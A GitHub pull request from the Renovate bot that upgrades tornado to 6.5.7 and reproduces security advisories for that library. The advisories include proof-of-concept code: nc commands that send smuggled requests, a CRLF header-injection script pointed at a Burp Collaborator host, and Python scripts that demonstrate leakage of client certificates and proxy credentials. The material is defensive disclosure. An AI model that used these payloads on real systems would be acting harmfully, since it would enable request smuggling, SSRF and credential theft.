chore(deps): update dependency tornado to v6.5.7 [security] by renovate[bot] · Pull Request #9 · cemsbv/plxscripting

renovate · 2025-04-27T07:55:34Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
tornado (source)	`==6.3.3` → `==6.5.7`

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

GHSA-753j-mpmx-qq6g

More information

Details

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

Install Tornado.
Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado has a CRLF injection in CurlAsyncHTTPClient headers

GHSA-w235-7p84-xx57

More information

Details

Summary

Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

Details

When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:

The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Impact

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado has an HTTP cookie parsing DoS vulnerability

CVE-2024-52804 / GHSA-8w49-h785-mj3c

More information

Details

The algorithm used for parsing HTTP cookies in Tornado versions prior to 6.4.2 sometimes has quadratic complexity, leading to excessive CPU consumption when parsing maliciously-crafted cookie headers. This parsing occurs in the event loop thread and may block the processing of other requests.

See also CVE-2024-7592 for a similar vulnerability in cpython.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado vulnerable to excessive logging caused by malformed multipart form data

CVE-2025-47287 / GHSA-7cx3-6m66-7c5m

More information

Details

Summary

When Tornado's multipart/form-data parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous.

Affected versions

All versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default.

Solution

Upgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking Content-Type: multipart/form-data in a proxy.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado has incomplete validation of cookie attributes

GHSA-78cv-mqj4-43f7

More information

Details

Values passed to the domain, path, and samesite arguments of RequestHandler.set_cookie were not completely validated in versions of Tornado prior to 6.5.5. In particular, semicolons would be allowed, which could be used to inject attacker-controlled values for other cookie attributes.

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado is vulnerable to DoS due to too many multipart parts

CVE-2026-31958 / GHSA-qjxf-f2mg-c6mc

More information

Details

In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts.

Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see tornado.httputil.ParseMultipartConfig. It is also now possible to disable multipart/form-data parsing entirely if it is not required for the application.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado has cookie attribute injection via .RequestHandler.set_cookie

CVE-2026-35536 / GHSA-fqwm-6jpj-5wxc

More information

Details

In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters.

Severity

CVSS Score: 7.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado has out-of-bounds memory access via C extension

CVE-2026-49854 / GHSA-cx3h-4qpv-8hc9

More information

Details

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)

CVE-2026-49855 / GHSA-mgf9-4vpg-hj56

More information

Details

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient

CVE-2026-49853 / GHSA-3x9g-8vmp-wqvf

More information

Details

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

GHSA-pw6j-qg29-8w7f

More information

Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS
connection; the certificate can only reach server 2 via the persisted handle
option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)

def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key

def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key

def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None

async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2

if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None

async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2

if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

Type: Exposure of credentials to an unintended party (CWE-200), via reuse
of a resource whose sensitive state was not cleared (CWE-672).
Actors: An application that issues requests with differing per-request
options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request
client_cert requests with non-certificate requests; for Vector B,
multiplexing requests across more than one proxy with per-proxy credentials.
Effect: For Vector A, the client completes the TLS client-authentication
handshake — proving possession of the private key and disclosing the
certificate subject and chain — to a host that was never meant to receive it.
For Vector B, proxy basic-auth credentials are transmitted (base64) to a
different proxy. If the unintended host/proxy is attacker-controlled or
attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable
endpoint, or a proxy chosen from user-controlled configuration), the credential
is disclosed to the attacker.
Scope: Only applications using the optional CurlAsyncHTTPClient backend
with the patterns above are affected. The default SimpleAsyncHTTPClient is not
affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)

Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:

##### client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

##### proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

##### network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tornadoweb/tornado (tornado)

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coveralls · 2026-06-14T11:10:42Z

Coverage Report for CI Build 27870803688

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If a base build is processing, this comment will update automatically when it completes.

Coverage: 76.287%

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Relevant Lines:	2623
Covered Lines:	2001
Line Coverage:	76.29%
Coverage Strength:	2.29 hits per line

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renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.4.2 [security]~~ chore(deps): update dependency tornado to v6.5 [security] May 17, 2025

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from 1b4c211 to ef6dde5 Compare May 17, 2025 07:29

renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.5 [security]~~ chore(deps): update dependency tornado to v6.5.5 [security] Mar 14, 2026

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from ef6dde5 to 5306d3c Compare March 14, 2026 15:00

renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.5.5 [security]~~ chore(deps): update dependency tornado to v6.5.6 [security] Jun 14, 2026

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from 5306d3c to 54d789b Compare June 14, 2026 11:08

chore(deps): update dependency tornado to v6.5.7 [security]

2487a88

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from 54d789b to 2487a88 Compare June 20, 2026 12:11

renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.5.6 [security]~~ chore(deps): update dependency tornado to v6.5.7 [security] Jun 20, 2026

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Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Details

Summary

PoC

Impact

Severity

References

Tornado has a CRLF injection in CurlAsyncHTTPClient headers

Details

Summary

Details

PoC

Impact

Severity

References

Tornado has an HTTP cookie parsing DoS vulnerability

Details

Severity

References

Tornado vulnerable to excessive logging caused by malformed multipart form data

Details

Summary

Affected versions

Solution

Severity

References

Tornado has incomplete validation of cookie attributes

Details

Severity

References

Tornado is vulnerable to DoS due to too many multipart parts

Details

Severity

References

Tornado has cookie attribute injection via .RequestHandler.set_cookie

Details

Severity

References

Tornado has out-of-bounds memory access via C extension

Details

Summary

Mitigations

Severity

References

tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)

Details

Severity

References

Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient

Details

Summary

Severity

References

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

Details

PoC

Vector A — client TLS certificate

Vector B — proxy credentials

Impact

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Coverage Report for CI Build 27870803688

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